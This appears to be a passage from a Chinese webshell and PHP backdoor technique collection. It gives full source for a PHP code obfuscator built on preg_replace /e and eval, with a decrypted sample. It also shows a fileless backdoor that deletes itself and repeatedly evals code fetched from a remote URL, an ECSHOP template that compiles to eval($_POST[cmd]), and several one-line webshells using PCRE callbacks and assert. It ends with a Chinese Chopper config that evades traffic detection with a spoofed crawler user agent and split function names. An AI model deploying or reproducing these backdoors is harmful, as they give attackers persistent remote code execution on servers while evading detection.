  {    static $enb64_rid = 70;    static $enb64_rid1 = 0;    static $enb64_rid2 = 0;    static $enb64_array = array('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','_');    static $enb64_name = '';    static $enb64_sign = '';    static $enb64_sum = 3;    static $preg_rid = 0;    static $preg_sign='';    public function read($filename) 
    {        if (!is_file($filename)) 
          return '';        if (function_exists("file_get_contents")) 
        {
            $data = file_get_contents($filename);
        } 
        else 
        {
            $data = implode("", file($filename));
        }        return $data;
    }    public function write($filename, $data) 
    {
        $fp = @fopen($filename, "w+");        if ($fp) 
        {
            flock($fp, LOCK_EX);
            fwrite($fp, $data);
            flock($fp, LOCK_UN);
            fclose($fp);            return true;
        }        return false;
    }    public function getfiles($files) 
    { 
        $d = dir($files);
        $tmps = array();        while (false !== ($entry = $d->read())) {            if ($entry != '.' and $entry != '..') {
                $tmparr = explode(".", $entry);
                $type = strtoupper($tmparr[count($tmparr) - 1]);                if (is_file($entry) and $type == 'ZIP') {
                    $tmps[] = $entry;
                }
            }
        }
        $d->close();        return $tmps;
    }    public function ischarset($str) 
    {        //注意无中文时,无论是不是UTF8格式都当UTF8返回
        $lang_arr = array('UTF-8', 'GBK', 'BIG5');        foreach ($lang_arr as $val) 
        {            if (iconv_strlen($str, $val)) 
            {                return $val;
            }
        }
    }    public function setcharset($out_charset, $str) 
    {
        $out_charset = strtoupper($out_charset);        if (!self::ischarset($str)) 
          return $str;
        $in_charset = self::ischarset($str);        if ($in_charset != $out_charset) 
        {            if (function_exists('iconv') and @iconv($in_charset, $out_charset, $str) == true) 
            {                return iconv($in_charset, $out_charset, $str);
            } 
            elseif (function_exists('mb_convert_encoding') and @mb_convert_encoding($str, $in_charset, $out_charset) == true) 
            {                return mb_convert_encoding($str, $in_charset, $out_charset);
            }
        }        return $str;

    }    private function expstr($str) 
    {        return "?>" . $str . "<?php ";
    }    private function inrandstr($strdata, $base64_decode = '', $deb64_func = '', $b64_key = '',$is_func=0) 
    {
        $rs = strlen($strdata) / rand(2, 4);
        $randvar = "";        for ($i = 0; $i <= rand(2, 8); $i++) $randvar .= $strdata{$rs + $i};        if ($deb64_func) 
        {            return str_replace($randvar, '\'.' . ($base64_decode ? '$' . $base64_decode : 'base64_decode') . '(' . $deb64_func . '(\'' . self::enb64(base64_encode($randvar)) . '\',\'' . $b64_key . '\')).\'', $strdata);
        } 
        else 
        {            return $strdata;
        }
    }    public function encode($strdata, $base64_decode = '', $gzuncompress = '', $deb64_func = '', $b64_key = '', $preg_replace = '', $preg_pre = '', $eval_name1 = '', $preg_pre_md5 = '',$enb64_sign_name='',$is_func=0) 
    {

        $characters = array("r", "s", "f", "D", "w", "F", "f", "H", "p", "j", "N", "f", "d", "T", "V", "W", "s", "x", "n");
        $restdata = "";
        $rid = rand(0, count($characters) - 1).rand(0, count($characters) - 1).rand(0, count($characters) - 1);        if ($is_func)
        {
          $b64_data = $strdata;
          $b64_rid = rand(64, 128);
          $b64_data_pre = base64_encode(gzcompress(substr($b64_data,0,strlen($b64_data)-$b64_rid), 9));
          $b64_data_end = substr($b64_data,$b64_rid*-1);
          self::$enb64_sign =base64_encode(gzcompress($b64_data_end, 9));
          $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . ($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\')).' . '$' . $gzuncompress . '($'.$base64_decode.'($'.$enb64_sign_name.')))\',"' . $preg_pre_md5 . '")';
        } 
        else 
        {
          $b64_data = base64_encode(gzcompress($strdata, 9));
          $b64_data_pre = substr($b64_data,0,strlen($b64_data)-32);
          $b64_data_end = substr($b64_data,-32);
          self::$enb64_sign ='';
          $preg_sign_b64 = base64_encode($b64_key.$deb64_func);
          self::$preg_rid=rand(4,strlen($preg_sign_b64)-4);
          self::$preg_sign = (self::$preg_rid%2==0?chr(rand(129,214)):'').substr($preg_sign_b64,0,self::$preg_rid).(self::$preg_rid%3==0?chr(rand(129,214)):'');          for ($i=0;$i<rand(1,3);$i++)
          {
            $b64_data_end = base64_encode($b64_data_end);
            $srid = rand(0,strlen($b64_data_end)-1);
            $b64_data_end = str_replace($b64_data_end{$srid}.$b64_data_end{$srid+1},$b64_data_end{$srid}.$b64_data_end{$srid+1}.self::$preg_sign,$b64_data_end);
          }
          $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . '($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\'.($'.self::$enb64_name.'.='.self::$enb64_name.'($'.self::$enb64_name.')))))\',"' . $preg_pre_md5 . '".($'.self::$enb64_name.'=\''.addcslashes($b64_data_end,"'").'\'))';
        }        return $restdata;
    }      
    public function E($code) 
    {          return self::intocode($code,0,"",array(),"");
    }      public function intocode($codedata, $rankcount, $defile_data, $copyright, $usercode) {
        $rand_arr = array(68,70,72,74,76,78,80,92,96,98,90);
            self::$enb64_rid = $rand_arr[rand(0,count($rand_arr)-1)];
            self::$enb64_name=chr(rand(129, 214)) . rand(550, 559) . chr(rand(129, 214));
self::$enb64_sum = rand(2,5);

            self::$enb64_rid1 = rand(129,150);
            self::$enb64_rid2 = rand(180,214);

          $base64_decode1 = chr(rand(129, 214)) . rand(20, 29) . chr(rand(129, 214));
          $base64_decode2 = chr(rand(129, 214)) . rand(30, 39) . chr(rand(129, 214));
          $base64_decode_value = self::enb64('base64_decode');



          $preg_replace = chr(rand(129, 214)) . rand(470, 479) . chr(rand(129, 214));
          $preg_replace_value = self::enb64('preg_replace');

          $str_replace_value = self::enb64('str_replace');

          $preg_pre = chr(rand(129, 214)) . rand(480, 489) . chr(rand(129, 214));
          $preg_pre_md5 = md5($preg_pre);
          $preg_pre_value = self::enb64('/' . $preg_pre_md5 . '/e');

          $gzuncompress = chr(rand(129, 214)) . rand(70, 79) . chr(rand(129, 214));
          $gzuncompress_value = self::enb64('gzuncompress');



          $eval_name1 = chr(rand(129, 214)) . rand(140, 149) . chr(rand(129, 214));
          $eval_name2 = chr(rand(129, 214)) . rand(150, 159) . chr(rand(129, 214));
          $eval_value = self::enb64('eval');



          $deb64_func = chr(rand(129, 214)) . rand(170, 179) . chr(rand(129, 214));
          $deb64_name = chr(rand(129, 214)) . rand(180, 189) . chr(rand(129, 214));
          $deb64_func_name = chr(rand(129, 214)) . rand(290, 299) . chr(rand(129, 214));
          $deb64_func_value = self::enb64var('base64_decode');
            $enb64_sign_name = chr(rand(129, 214)) . rand(670, 679) . chr(rand(129, 214));
          $ae_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214));

          $ord_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214));
          $chr_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214));
          $strlen_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));
          $ord_value = self::enb64var('ord');
          $chr_value = self::enb64var('chr');
          $strlen_value = self::enb64var('strlen');
          $b245_name = chr(rand(129, 214)) . rand(210, 219) . chr(rand(129, 214));
          $b245_value = self::enb64var(245);
          $b140_name = chr(rand(129, 214)) . rand(220, 229) . chr(rand(129, 214));
          $b140_value = self::enb64var(self::$enb64_rid*2);
          $b2_name = chr(rand(129, 214)) . rand(230, 239) . chr(rand(129, 214));
          $b2_value = self::enb64var(2);
          $b0_name = chr(rand(129, 214)) . rand(240, 249) . chr(rand(129, 214));
          $b0_value = self::enb64var(0);
          $bvar_name = chr(rand(129, 214)) . rand(250, 259) . chr(rand(129, 214));
          $btmp_name = chr(rand(129, 214)) . rand(260, 269) . chr(rand(129, 214));

          $b64_key_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));

          $b64_key = self::enb64(md5($btmp_name . $bvar_name . time()));



        $preg_match_name1 = chr(rand(129, 214)) . rand(620, 629) . chr(rand(129, 214));
        $preg_match_name2 = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));
        $preg_match_value1 = self::enb64('strstr');
        $preg_match_value2 = self::enb64('preg_match');

        $pathinfo_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214));
        $files_name = chr(rand(129, 214)) . rand(100, 109) . chr(rand(129, 214));
        $pathinfo_value = self::enb64('pathinfo');

        $chr_value3 = self::enb64("/([".chr(127)."-".chr(255)."]+)/");
        $chr_value2 = self::enb64("/([".chr(127)."-".chr(255)."]+)/i");

          $copyright['starttime'] = ($copyright['starttime'] <= 0) ? time() : $copyright['starttime'];

          $restdata = self::setcharset($copyright['outlang'], self::expstr($codedata));



          $restdata =  ($defile_data ? $defile_data.$restdata : $restdata).              '$GLOBALS[decode_fp_sign]=$GLOBALS[' .self::$enb64_name . ']=$GLOBALS[' .$gzuncompress . ']=$GLOBALS[' .$base64_decode1 . ']=$GLOBALS[' . $enb64_sign_name .']=$GLOBALS[' .$preg_replace . ']=$GLOBALS[' .$preg_pre . ']=$GLOBALS[' .$eval_name1 . ']=null;unset($GLOBALS[' .$preg_replace . ']);unset($GLOBALS[' .$preg_pre . ']);unset($GLOBALS[' .$eval_name1 . ']);unset($GLOBALS[' .$base64_decode1 . ']);unset($GLOBALS[' .$gzuncompress . ']);unset($GLOBALS[' .self::$enb64_name . ']);unset($GLOBALS[' . $enb64_sign_name .']);unset($GLOBALS[decode_fp_sign]);';          for ($i = 0; $i <= $rankcount; $i++) $restdata = self::encode($restdata, $base64_decode1,
                  $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name) .';';


$file_rid = rand(814,2048);
$preg_sign = self::$preg_sign;
              $preg_data = self::encode('$' . $eval_name2 . '=' . $deb64_func . '(\'' . $str_replace_value .'\',\'' . $b64_key . '\');$'.$preg_match_name1 .'=' . $deb64_func . '(\'' . $preg_match_value1 . '\',\'' . $b64_key . '\');if($'.$preg_match_name1.'($'.$ae_name.',\''.$preg_sign.'\')){$'.$ae_name.'=$' . $eval_name2 . '(\''.$preg_sign.'\',\'\',$'.$ae_name.');$'.$ae_name.'[email protected]$'.$base64_decode1.'($'.$ae_name.');'.self::$enb64_name.'($'.$ae_name.');} else {$'.$preg_match_name2 .'=' . $deb64_func . '(\'' . $preg_match_value2 . '\',\'' . $b64_key . '\');if ($'.$preg_match_name2 .'("/(.+?)\.(.*?)\(/",__FILE__,$'.$files_name.')) {$fileext = $'.$files_name.'[2];$'.$files_name.'=$'.$files_name.'[1];} else {$'.$files_name.'=__FILE__;$filenameex = explode(".", $'.$files_name.');$fileext = $filenameex[count($filenameex)-1];}$decode_fp=fopen($'.$files_name.'.".".$fileext,\'r\');$decode_fp_sign=fread($decode_fp,filesize($'.$files_name.'.".".$fileext));fclose($decode_fp);(substr($decode_fp_sign,-32)!=md5(md5(substr($decode_fp_sign,0,'.$file_rid.')).\''.$deb64_func.$b64_key.'\'))&&'.$pathinfo_name.'(); unset($decode_fp_sign); }', $base64_decode1,
            $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name,1).';';
          $newzipdata = self::setcharset($copyright['outlang'], '<?php
    ' . $usercode . $copyright['copyright'] . $idxdata . 'if (!defined(\''.$base64_decode2.'\')) {\\enddefine(\''.$base64_decode2.'\', true);\\endfunction ' . $deb64_func .'($' . $deb64_func . ',$' . $b64_key_name . '=\'\'){\\end
    global $' . $enb64_sign_name .';\\end    if(!$' . $b64_key_name .')return(base64_decode($' . $deb64_func . '));\\end
    $' . $deb64_func_name . '=' . $deb64_func .'(\'' . $deb64_func_value . '\');\\end
    $' . $ord_name . '=' . $deb64_func . '(\'' . $ord_value .'\');\\end
    $' . $chr_name . '=' . $deb64_func . '(\'' . $chr_value . '\');\\end
    $' . $b0_name .'=' . $deb64_func . '(\'' . $b0_value . '\');\\end
    $' . $b140_name . '=' . $deb64_func .'(\'' . $b140_value . '\');\\end
    $' . $b245_name . '=' . $deb64_func . '(\'' . $b245_value .'\');\\end
    $' . $b2_name . '=' . $deb64_func . '(\'' . $b2_value . '\');\\end
    $' . $btmp_name .'=' . $deb64_func . '(\'' . $btmp_name . '\');\\end
    $' . $strlen_name .'=' . $deb64_func . '(\'' . $strlen_value . '\');\\end
    $' . $enb64_sign_name .'=\''.self::$enb64_sign.'\';\\endfor($' . $bvar_name . '=$' . $b0_name .';$' . $bvar_name . '<$'.$strlen_name.'($' . $deb64_func . ');$' . $bvar_name . '++)\\end
$' . $btmp_name .'.=$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .'?(($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})>$' . $b140_name .'&&$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .')?$' . $chr_name . '($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name .'})/$' . $b2_name . '):$' . $deb64_func . '{$' . $bvar_name . '}):"";return($' .$deb64_func_name . '($' . $btmp_name . '));}\\end
function '.self::$enb64_name.'(&$'.$ae_name.'=\'\'){\\end
    global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end    '.$preg_data.'
    }\\end
  }\\end  global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end
$' .$preg_replace . '=' . $deb64_func . '(\'' . $preg_replace_value . '\',\'' . $b64_key .'\');\\end$' . $preg_pre . '=' . $deb64_func . '(\'' . $preg_pre_value . '\',\'' . $b64_key .'\');\\end$' . $base64_decode1 . '=' . $deb64_func . '(\'' . $base64_decode_value . '\',\'' .$b64_key . '\');\\end$' . $eval_name1 . '=' . $deb64_func . '(\'' . $eval_value .'\',\'' . $b64_key . '\');\\end$' . $gzuncompress . '=' . $deb64_func . '(\'' . $gzuncompress_value .'\',\'' . $b64_key . '\');\\end$' . $enb64_sign_name .'=\'\';\\end' . $restdata .'\\endreturn true;?>');$newzipdata = str_replace(array("\\end\r\n","  "),"",$newzipdata);          return $newzipdata.(md5(md5(substr($newzipdata,0,$file_rid)).$deb64_func.$b64_key));
      }

      function enb64var($tmp) {
          $tmp = base64_encode($tmp);          for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= (ord($tmp{$i}) % rand(1, 2) ==                  0) ? chr(rand(128, 250)) . $tmp{$i} : $tmp{$i};          return $newtmp;
      }
      function deb64($tmp) {          for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= ord($tmp{$i}) < 245 ? ((ord($tmp{
                  $i}) > (self::$enb64_rid*2) and ord($tmp{$i}) < 245) ? chr(ord($tmp{$i}) / 2) : $tmp{$i}) : '';          return base64_decode($newtmp);
      }

      function enb64($a) {
          $b = base64_encode($a);          for ($i = 0; $i < strlen($b); $i++) {
              $tmp .= (ord($b{$i}) > self::$enb64_rid ? chr(ord($b{$i}) * 2) : $b{$i});
          }          return $tmp;
      }
      function deb10($a) {
$s=0;for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){
    $ts[$i] = self::$enb64_array[$s];
    $s++;
}for($j=0;$j<strlen($a)/3;$j++){
        $aa=$a{$j*3}.$a{($j*3+1)}.$a{($j*3+2)};
    $as[] = $aa;
    $bs[] = $ts[$aa];
}          return str_replace($as,$bs,$a);
      }

      function enb10($a) {
$s=0;for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){
    $ts[self::$enb64_array[$s]] = $i;
    $s++;
}for($j=0;$j<strlen($a);$j++){

    $as[] = $a{$j};
    $bs[] = $ts[$a{$j}];
}          return str_replace($as,$bs,$a);
      }

  }?>
复制代码

使用方式

复制代码
<?php  /**
   *
   *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM
   *  Var 1.55
   * #Update:-
   * fjyxian
   **/
  require './en1.55.class.php';  //_MzgLock::E(code);
  file_put_contents('test.php',_MzgLock::E("<?php
  echo 'hi';  ?>"));
  //test.php?>
复制代码

这种神盾加密的核心技术点如下

1. 利用了php变量扩充到 latin1 字符范围,其变量匹配正则是 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]* 这样的格式2. 使用preg_replace \e进行代码执行

解密后代码如下

复制代码
<?php//Start code decryption<<===if (!defined('IN_DECODE_82d1b9a966825e3524eb0ab6e9f21aa7')) {
    define('\xA130\x8C', true);

    function fun1($str, $flg="") {        if(!$flg) return(base64_decode($str));
        $ret = '?';        for($i=0; $i<strlen($str); $i++) {
            $c = ord($str[$i]);
            $ret .= $c<245 ? ( $c>136 ? chr($c/2) : $str[$i] ) : "";
        }        return base64_decode($ret);
    }
    function fun2(&$p14)
    {        global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3;
        @$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNq9kl1r01AYx79KG0JzDqZJT9KkL2ladXYgWxVsh6iTkCYna7o2yZL0dfTGG0GkoHhVi1dFxi5EZv0KvRSRMYYfQob0A5g0bM6BF0Pw4rw9539+53nO+ZeKhZLTcGKmAeII5kvFgqe5puPH/IGDZcLHfZ9tql01ihLFnmnpdo9p2Zrqm7bFNFxsyETD9508y/Z6P' . $base64_decode(fun1('\xAC\xA8\x94\x8E\xA2\xD65\xE6\xA4\xA8\x8A=', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'juztsoMT9cF1q27qsY83WcSLslF08kLOcjuo5NSeKWU7AvMClcT2l1kWcMzikqpmEZ+5YssiJWMO6kVY5geezhihkNYx4MZtDGp9OpwmpwEapFQvxZDKqBVu6aUjkcySgZ/IhyqDPgFrws58f+Teni/HZ1yPuUKZo6t3BrfT8zuuz+fjl6WR5gqYHi9RkOTs+Wk74yfGXH9Pv82+T5Qt+Og7kUCLfB8nMLvPCdn1O8NIRCpCfUE4Y05S117h9b/NBebe7lmraw0ftbu1h5fHA7jfX1NxGbcvrVtWK4G4NO6LGubVqu1vdqAiD+3vNVACE+xFHjgoG/4ajKYqOeEHFEfcmeZLJvgXnUdOIAcfFO0pb9bUGIFjA3CjB7fCjtwFL0IqyfnezrCg0+QGl+FcQxvajmRwNT9BTaRTDLQ9fbJwfkUZkZBPFcGTDdrAFIgVDhHiCptzwIy40ysojhotVHfyO0obZwp45xH8ehlAytJbt4UtSKAGvU/d8F1yB0kmeg3G5rQsgbH8RpVYyyFArU1zPBzCR0E0MqPUg2WoAy5fdsLiO5WH/6kVQGv1n1/wChxaEtA==\')).$gzuncompress($base64_decode($p3)))', "82d1b9a966825e3524eb0ab6e9f21aa7");
    }
}global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3;
$preg_replace = 'preg_replace';
$xxx_e = '/82d1b9a966825e3524eb0ab6e9f21aa7/e';
$base64_decode = 'base64_decode';
$eval = 'eval';
$gzuncompress = 'gzuncompress';
$p3 = '';
@$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNplks9Og0AQxu8mvgMlxrYHoMCyQPkXvdhDE5to4sE0BtihoMgSSqWN8RV60pMX73oy8RG8e/J5bLutIeWyyfebnS/zTcZzbS+Pcy6JOi252/dcexoWSV5y5SIHhy9hXkq3/oPPKO9WSUZoJaY09MuEZmJcQOTwcVnmfUmqqkpcmZFcpMVEWv2E+Vp795Q4BEJK4Hj93NzBwjEUIgemb2JsKB' . $base64_decode(fun1('\xB21\xC65\xC8A==', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'oIg6PkBBjNSZN/Xj6fJJHOwgiEEEiFf0VTViLBmhCCr2DDlUEUI8ZYtsdFcuyUILAtkJIksjyU7PIAwplx7AGlKuStapMQOCrdt7QqXcTLlRoPRmmx7uKOz4fnpyfDi+k3T8HLs/Otf3XityU9Fea/JL6z36uUXpOOfmn5GhvpR00sZoe+xk83S1JplUyg7e63dfcwcGpgZNfBmvAbdZGhQ\'.($p20.=fun2($p20)))))', "82d1b9a966825e3524eb0ab6e9f21aa7" . ($p20 = 'x\xDA\xCB)vnqhBNLREkvC0jozYmvTWMZyoxjCa9KTUsvSaM5rUzu6c2rTSmvSKM5yOqj0=O\FF.\xADH5\xCF2\x88\xF0u\x8BL*\xCD\xF2223.
\xB1\xF0\FF1\xCF+\x02\x00\xB6\xCA
\xBE'));//End of the decryption code===>>return true;?>76cde264ef549deac4d0fae860b50010
复制代码

Relevant Link:

http://www.phpdp.org/http://www.zhaoyuanma.com/phpjm.htmlhttp://www.jb51.net/article/50490.htmhttp://m.blog.csdn.net/blog/cloverphp/39896813

0x69: PHP无文件后门(内存运行)

复制代码
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://xsser.me/eval.txt';while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};?>
复制代码

将WEBSHELL传到服务器之后可能会被IDS删除。但该WEBSHELL依然会在后台执行远程文件中的代码

Relevant Link:

http://www.code521.com/index.php/archives/474#comment-6873

0x70: 利用CMS模版特性生成WEBSHELL

CMS提供了大量的模版标签,类似smarty的作用,这个特性可以使得WEBSHELL完全隐藏例如<?php这种语法标签,从而逃离词法解析的检测

下面这个模版文件会被ECSHOP编译为PHP文件

复制代码
<?php echo $this->smarty_insert_scripts(array('files'=>'utils.js,transport.js')); ?>
<table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  <tr>
    <td bgcolor="#ffffff">
      <?php echo $this->_var['lang']['country_province']; ?>:      <select name="country" id="selCountries_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 1, 'selProvinces_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['country_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'country');if (count($_from)):    foreach ($_from AS $this->_var['country']):?>
        <option value="<?php echo $this->_var['country']['region_id']; ?>" <?php if ($this->_var['choose']['country'] == $this->_var['country']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['country']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="province" id="selProvinces_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 2, 'selCities_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['province_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'province');if (count($_from)):    foreach ($_from AS $this->_var['province']):?>
        <option value="<?php echo $this->_var['province']['region_id']; ?>" <?php if ($this->_var['choose']['province'] == $this->_var['province']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['province']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="city" id="selCities_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 3, 'selDistricts_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['city_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'city');if (count($_from)):    foreach ($_from AS $this->_var['city']):?>
        <option value="<?php echo $this->_var['city']['region_id']; ?>" <?php if ($this->_var['choose']['city'] == $this->_var['city']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['city']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select>
      <select name="district" id="selDistricts_<?php echo $this->_var['sn']; ?>" <?php if (! $this->_var['district_list'][$this->_var['sn']]): ?>style="display:none"<?php endif; ?> style="border:1px solid #ccc;">
        <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option>
        <?php $_from = $this->_var['district_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'district');if (count($_from)):    foreach ($_from AS $this->_var['district']):?>
        <option value="<?php echo $this->_var['district']['region_id']; ?>" <?php if ($this->_var['choose']['district'] == $this->_var['district']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['district']['region_name']; ?></option>
        <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
      </select> <input type="submit" name="Submit" class="bnt_blue_2"  value="<?php echo $this->_var['lang']['search_ship']; ?>" />
      <input type="hidden" name="act" value="viewship" />
    </td>
  </tr>
</table>

<table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd">
  <tr>
    <th width="20%" bgcolor="#ffffff"><?php echo $this->_var['lang']['name']; ?></th>
    <th bgcolor="#ffffff"><?php echo $this->_var['lang']['describe']; ?></th>
    <th width="40%" bgcolor="#ffffff"><?php echo $this->_var['lang']['fee']; ?></th>
    <th width="15%" bgcolor="#ffffff"><?php echo $this->_var['lang']['insure_fee']; ?></th>
  </tr>
  <?php $_from = $this->_var['shipping_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'shipping');if (count($_from)):    foreach ($_from AS $this->_var['shipping']):?>
  <tr>
    <td valign="top" bgcolor="#ffffff"><strong><?php echo $this->_var['shipping']['shipping_name']; ?></strong></td>
    <td valign="top" bgcolor="#ffffff" ><?php echo $this->_var['shipping']['shipping_desc']; ?></td>
    <td valign="top" bgcolor="#ffffff"><?php echo $this->_var['shipping']['fee']; ?></td>
    <td align="center" valign="top" bgcolor="#ffffff">
      <?php if ($this->_var['shipping']['insure'] != 0): ?>
      <?php echo $this->_var['shipping']['insure_formated']; ?>
      <?php else: ?>
      <?php echo $this->_var['lang']['not_support_insure']; ?>
      <?php endif; ?>    </td>
  </tr>
  <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
</table><?php echo '<?php'; ?>
 eval($_POST[cmd])<?php echo '?>'; ?>
复制代码

0x71: preg_xx PCRE相关函数API内置\e eval支持

1. preg_filter

<?php
    preg_filter('|.*|e', $_REQUEST['BadWords'], '');?>

2. preg_replace

<?php
    $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; //preg_replace
    $hh("/littlehann/e",$_POST['op'],"111littlehann222"); 
?>

Relevant Link:

http://php.net/manual/zh/function.preg-filter.phphttp://php.net/manual/zh/function.preg-replace.php

0x72: preg_xx PCRE CALLBACK特征执行代码

1. preg_replace_callback_array

复制代码
<?php
    $subject = 'little hann';

    preg_replace_callback_array(
        [        '~[t]+~i' => function ($match) {
            eval($_POST['op']);
        },        '~[n]+~i' => function ($match) {
            eval($_POST['op']);
        }
        ],
        $subject
    );?>
复制代码

2. preg_replace_callback

<?php
  preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);
?>

3. mb_ereg_replace_callback

<?php
  mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);?>

Relevant Link:

http://php.net/manual/zh/function.preg-replace-callback-array.phphttp://php.net/manual/zh/function.preg-replace-callback.phphttp://php.net/manual/en/function.mb-ereg-replace-callback.php

0x73: 自定义特征菜刀

过流量检测特征

复制代码
【这个文件必须保存为UNICODE编码】//返回分隔标识,固定三个字符,尽量用生辟的字,如返回的内容为:[email protected]@Y,就读出内容为12345,//不要包含单双引号,以免和下面的代码发生冲突,这个标记改完要重启程序才能生效。<FLAG>[email protected]</FLAG>//User-Agent:<UA>Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)</UA>//第二个参数名称#K1#<K1>z1</K1>//第二个参数名称#K2#<K2>z2</K2>//以下修改后不用重启程序实时生效//注意:除%s,%d这样的参数外,其它的%号要用%%代替,修改前做好备份//下面的PHP_BASE,ASP_BASE,APSX_BASE三个标记会用到,不要重复了,否则可能不会读到正确的内容//PHP_BASE参数:%s<PHP_BASE>array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));</PHP_BASE>//ASP_BASE参数:%s %s %s 这里有个bd函数用于HEX解码<ASP_BASE>
